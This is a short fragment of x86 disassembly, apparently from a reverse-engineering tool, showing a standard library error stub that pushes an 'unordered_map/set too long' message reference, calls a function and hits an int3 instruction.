push str.unordered_map_set_too_long
call fcn.0044e79c
int3